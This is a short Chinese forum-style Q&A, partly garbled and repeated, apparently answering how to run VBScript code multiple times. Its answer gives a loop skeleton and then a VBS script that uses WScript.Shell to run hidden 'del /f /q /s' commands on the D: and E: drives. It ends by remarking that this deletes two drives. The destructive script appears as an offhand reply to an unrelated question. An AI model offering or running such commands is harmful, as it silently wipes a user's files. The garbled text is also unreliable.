为什么vbs代码执行不成功 vbs同一个代码如何多次执行?
vbs同一个代码如何多次执行?for i = 1 to 2 "循环2次"这里写要执行的代码 next====================dim WSHshell set WSHshell = ws
vbs同一个代码如何多次执行?
for i = 1 to 2 "循环2次
"这里写要执行的代码
next
====================
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true
WSHshell.run "cmd /c ""del e:*.* / f /q /s""",0 ,true
这样就删除2个盘了